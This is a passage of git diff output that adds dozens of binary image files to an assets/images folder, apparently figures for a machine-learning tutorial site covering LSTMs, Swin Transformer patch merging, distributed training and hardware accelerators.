index 0000000..244dbaf Binary files /dev/null and b/assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png differ diff --git a/assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png b/assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png new file mode 100644 index 0000000..ffad2f1 Binary files /dev/null and b/assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png differ diff --git a/assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png b/assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png new file mode 100644 index 0000000..3550207 Binary files /dev/null and b/assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png differ diff --git a/assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png b/assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png new file mode 100644 index 0000000..4bbb216 Binary files /dev/null and b/assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png differ diff --git a/assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png b/assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png new file mode 100644 index 0000000..4bbb216 Binary files /dev/null and b/assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png differ diff --git a/assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png b/assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png new file mode 100644 index 0000000..3436626 Binary files /dev/null and b/assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png differ diff --git a/assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png b/assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png new file mode 100644 index 0000000..60bef3b Binary files /dev/null and b/assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png differ diff --git a/assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png b/assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png new file mode 100644 index 0000000..21affa0 Binary files /dev/null and b/assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png differ diff --git a/assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png b/assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png new file mode 100644 index 0000000..04a540e Binary files /dev/null and b/assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png differ diff --git a/assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png b/assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png new file mode 100644 index 0000000..698a737 Binary files /dev/null and b/assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png differ diff --git a/assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png b/assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png new file mode 100644 index 0000000..04a3d78 Binary files /dev/null and b/assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png differ diff --git a/assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png b/assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png new file mode 100644 index 0000000..e7d2458 Binary files /dev/null and b/assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png differ diff --git a/assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png b/assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png new file mode 100644 index 0000000..0c1b098 Binary files /dev/null and b/assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png differ diff --git a/assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png b/assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png new file mode 100644 index 0000000..7b355f7 Binary files /dev/null and b/assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png differ diff --git a/assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png b/assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png new file mode 100644 index 0000000..92cbe1c Binary files /dev/null and b/assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png differ diff --git a/assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png b/assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png new file mode 100644 index 0000000..3e1c204 Binary files /dev/null and b/assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png differ diff --git a/assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png b/assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png new file mode 100644 index 0000000..4565aaa Binary files /dev/null and b/assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png differ diff --git a/assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png b/assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png new file mode 100644 index 0000000..4565aaa Binary files /dev/null and b/assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png differ diff --git a/assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png b/assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png new file mode 100644 index 0000000..c506e50 Binary files /dev/null and b/assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png differ diff --git a/assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png b/assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png new file mode 100644 index 0000000..7a46a33 Binary files /dev/null and b/assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png differ diff --git a/assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png b/assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png new file mode 100644 index 0000000..86ea535 Binary files /dev/null and b/assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png differ diff --git a/assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png b/assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png new file mode 100644 index 0000000..10e2424 Binary files /dev/null and b/assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png differ diff --git a/assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png b/assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png new file mode 100644 index 0000000..504cdce Binary files /dev/null and b/assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png differ diff --git a/assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png b/assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png new file mode 100644 index 0000000..187461d Binary files /dev/null and b/assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png differ diff --git a/assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png b/assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png new file mode 100644 index 0000000..f48bc84 Binary files /dev/null and b/assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png differ diff --git a/assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png b/assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png new file mode 100644 index 0000000..5d441b0 Binary files /dev/null and b/assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png differ diff --git a/assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png b/assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png new file mode 100644 index 0000000..a0be79c Binary files /dev/null and b/assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png differ diff --git a/assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png b/assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png new file mode 100644 index 0000000..67eb4c9 Binary files /dev/null and b/assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png differ diff --git a/assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png b/assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png new file mode 100644 index 0000000..afaee08 Binary files /dev/null and b/assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png differ diff --git a/assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png b/assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png new file mode 100644 index 0000000..1f7492d Binary files /dev/null and b/assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png differ diff --git a/assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png b/assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png new file mode 100644 index 0000000..b7b42ac Binary files /dev/null and b/assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png differ diff --git a/assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png b/assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png new file mode 100644 index 0000000..b7217d4 Binary files /dev/null and b/assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png differ diff --git a/assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png b/assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png new file mode 100644 index 0000000..3224fd4 Binary files /dev/null and b/assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png differ diff --git a/assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png b/assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png new file mode 100644 index 0000000..404ec34 Binary files /dev/null and b/assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png differ diff --git a/assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png b/assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png new file mode 100644 index 0000000..8f502be Binary files /dev/null and b/assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png differ diff --git a/assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png b/assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png new file mode 100644 index 0000000..5e34803 Binary files /dev/null and b/assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png differ diff --git a/assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png b/assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png new file mode 100644 index 0000000..2e597fc Binary files /dev/null and b/assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png differ diff --git a/assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png b/assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png new file mode 100644 index 0000000..6cf0d9f Binary files /dev/null and b/assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png differ diff --git a/assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg b/assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg new file mode 100644 index 0000000..d89082b Binary files /dev/null and b/assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg differ diff --git a/assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg b/assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg new file mode 100644 index 0000000..87797ef Binary files /dev/null and b/assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg differ diff --git a/assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png b/assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png new file mode 100644 index 0000000..4a371c3 Binary files /dev/null and b/assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png differ diff --git a/assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png b/assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png new file mode 100644 index 0000000..2f8c5c0 Binary files /dev/null and b/assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png differ diff --git a/assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png b/assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png new file mode 100644 index 0000000..2ed1b3d Binary files /dev/null and b/assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png differ diff --git a/assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png b/assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png new file mode 100644 index 0000000..62bbe60 Binary files /dev/null and b/assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png differ diff --git a/assets/images/DP-428ec15ac07925bbf216de1381477c9e.png b/assets/images/DP-428ec15ac07925bbf216de1381477c9e.png new file mode 100644 index 0000000..7409b14 Binary files /dev/null and b/assets/images/DP-428ec15ac07925bbf216de1381477c9e.png differ diff --git a/assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg b/assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg new file mode 100644 index 0000000..e10b88e Binary files /dev/null and b/assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg differ diff --git a/assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png b/assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png new file mode 100644 index 0000000..553d74f Binary files /dev/null and b/assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png differ diff --git a/assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg b/assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg new file mode 100644 index 0000000..2ce3cd6 Binary files /dev/null and b/assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg differ diff --git a/assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg b/assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg new file mode 100644 index 0000000..423c1ce Binary files /dev/null and b/assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg differ diff --git a/assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg b/assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg new file mode 100644 index 0000000..8283aaa Binary files /dev/null and b/assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg differ diff --git a/assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg b/assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg new file mode 100644 index 0000000..362968c Binary files /dev/null and b/assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg differ diff --git a/assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg b/assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg new file mode 100644 index 0000000..675fbfa Binary files /dev/null and b/assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg differ diff --git a/assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png b/assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png new file mode 100644 index 0000000..cb9999f Binary files /dev/null and b/assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png differ diff --git a/assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png b/assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png new file mode 100644 index 0000000..fdf8b67 Binary files /dev/null and b/assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png differ diff --git a/assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png b/assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png new file mode 100644 index 0000000..ff58fe1 Binary files /dev/null and b/assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png differ diff --git a/assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg b/assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg new file mode 100644 index 0000000..521cf39 Binary files /dev/null and b/assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg differ diff --git a/assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg b/assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg new file mode 100644 index 0000000..87b4bd3 Binary files /dev/null and b/assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg differ diff --git a/assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png b/assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png new file mode 100644 index 0000000..a9f7536 Binary files /dev/null and b/assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png differ diff --git a/assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png b/assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png new file mode 100644 index 0000000..a5aa040 Binary files /dev/null and b/assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png differ diff --git a/assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png b/assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png new file mode 100644 index 0000000..f1b726b Binary files /dev/null and b/assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png differ diff --git a/assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png b/assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png new file mode 100644 index 0000000..d413f9a Binary files /dev/null and b/assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png differ diff --git a/assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png b/assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png new file mode 100644 index 0000000..d827590 Binary files /dev/null and b/assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png differ diff --git a/assets/images/Pytorch-653d46576926d6154bf017c39568d143.png b/assets/images/Pytorch-653d46576926d6154bf017c39568d143.png new file mode 100644 index 0000000..a0909e8 Binary files /dev/null and b/assets/images/Pytorch-653d46576926d6154bf017c39568d143.png differ diff --git a/assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg b/assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg new file mode 100644 index 0000000..270186f Binary files /dev/null and b/assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg differ diff --git a/assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png b/assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png new file mode 100644 index 0000000..410eb32 Binary files /dev/null and b/assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png differ diff --git a/assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png b/assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png new file mode 100644 index 0000000..bdcc05b Binary files /dev/null and b/assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png differ diff --git a/assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png b/assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png new file mode 100644 index 0000000..90e79f6 Binary files /dev/null and b/assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png differ diff --git a/assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg b/assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg new file mode 100644 index 0000000..f914b00 Binary files /dev/null and b/assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg differ diff --git a/assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png b/assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png new file mode 100644 index 0000000..720dbd4 Binary files /dev/null and b/assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png differ diff --git a/assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png b/assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png new file mode 100644 index 0000000..22e13c5 Binary files /dev/null and b/assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png differ diff --git a/assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png b/assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png new file mode 100644 index 0000000..d3fe2ef Binary files /dev/null and b/assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png differ diff --git a/assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg b/assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg new file mode 100644 index 0000000..bf19c21 Binary files /dev/null and b/assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg differ diff --git a/assets/images/cam-86e63ecd417f308ff08029b53775208f.png b/assets/images/cam-86e63ecd417f308ff08029b53775208f.png new file mode 100644 index 0000000..acc6495 Binary files /dev/null and b/assets/images/cam-86e63ecd417f308ff08029b53775208f.png differ diff --git a/assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png b/assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png new file mode 100644 index 0000000..2237e8f Binary files /dev/null and b/assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png differ diff --git a/assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png b/assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png new file mode 100644 index 0000000..6d003fa Binary files /dev/null and b/assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png differ diff --git a/assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png b/assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png new file mode 100644 index 0000000..12b8463 Binary files /dev/null and b/assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png differ diff --git a/assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png b/assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png new file mode 100644 index 0000000..6ca21ab Binary files /dev/null and b/assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png differ diff --git a/assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png b/assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png new file mode 100644 index 0000000..c973872 Binary files /dev/null and b/assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png differ diff --git a/assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png b/assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png new file mode 100644 index 0000000..a9265fb Binary files /dev/null and b/assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png differ diff --git a/assets/images/clip_image002-1e67c171bdcee14bdf98c9f4399cac33.gif b/assets/images/clip_image002-1e67c171bdcee14bdf98c9f4399cac33.gif new file mode 100644 index 0000000..366fe97 Binary files /dev/null and b/assets/images/clip_image002-1e67c171bdcee14bdf98c9f4399cac33.gif differ diff --git a/assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png b/assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png new file mode 100644 index 0000000..244fb18 Binary files /dev/null and b/assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png differ diff --git a/assets/images/coords-acbc3056889bd861c15f281cf4569a28.png b/assets/images/coords-acbc3056889bd861c15f281cf4569a28.png new file mode 100644 index 0000000..e77e511 Binary files /dev/null and b/assets/images/coords-acbc3056889bd861c15f281cf4569a28.png differ diff --git a/assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png b/assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png new file mode 100644 index 0000000..20f5ba0 Binary files /dev/null and b/assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png differ diff --git a/assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg b/assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg new file mode 100644 index 0000000..e1e11be Binary files /dev/null and b/assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg differ diff --git a/assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png b/assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png new file mode 100644 index 0000000..84362b0 Binary files /dev/null and b/assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png differ diff --git a/assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg b/assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg new file mode 100644 index 0000000..37c7744 Binary files /dev/null and b/assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg differ diff --git a/assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png b/assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png new file mode 100644 index 0000000..b6e975d Binary files /dev/null and b/assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png differ diff --git a/assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png b/assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png new file mode 100644 index 0000000..dd551d8 Binary files /dev/null and b/assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png differ diff --git a/assets/images/download-4da7355589063c5959add8d34cc24970.png b/assets/images/download-4da7355589063c5959add8d34cc24970.png new file mode 100644 index 0000000..407902f Binary files /dev/null and b/assets/images/download-4da7355589063c5959add8d34cc24970.png differ diff --git a/assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png b/assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png new file mode 100644 index 0000000..dc6115d Binary files /dev/null and b/assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png differ diff --git a/assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png b/assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png new file mode 100644 index 0000000..6438a00 Binary files /dev/null and b/assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png differ diff --git a/assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png b/assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png new file mode 100644 index 0000000..e140e6c Binary files /dev/null and b/assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png differ diff --git a/assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png b/assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png new file mode 100644 index 0000000..0be724a Binary files /dev/null and b/assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png differ diff --git a/assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png b/assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png new file mode 100644 index 0000000..00a5b17 Binary files /dev/null and b/assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png differ diff --git a/assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png b/assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png new file mode 100644 index 0000000..a0908ee Binary files /dev/null and b/assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png differ diff --git a/assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg b/assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg new file mode 100644 index 0000000..dac8101 Binary files /dev/null and b/assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg differ diff --git a/assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png b/assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png new file mode 100644 index 0000000..52a4319 Binary files /dev/null and b/assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png differ diff --git a/assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png b/assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png new file mode 100644 index 0000000..64aac82 Binary files /dev/null and b/assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png differ diff --git a/assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png b/assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png new file mode 100644 index 0000000..b7284c4 Binary files /dev/null and b/assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png differ diff --git a/assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png b/assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png new file mode 100644 index 0000000..10acb3f Binary files /dev/null and b/assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png differ diff --git 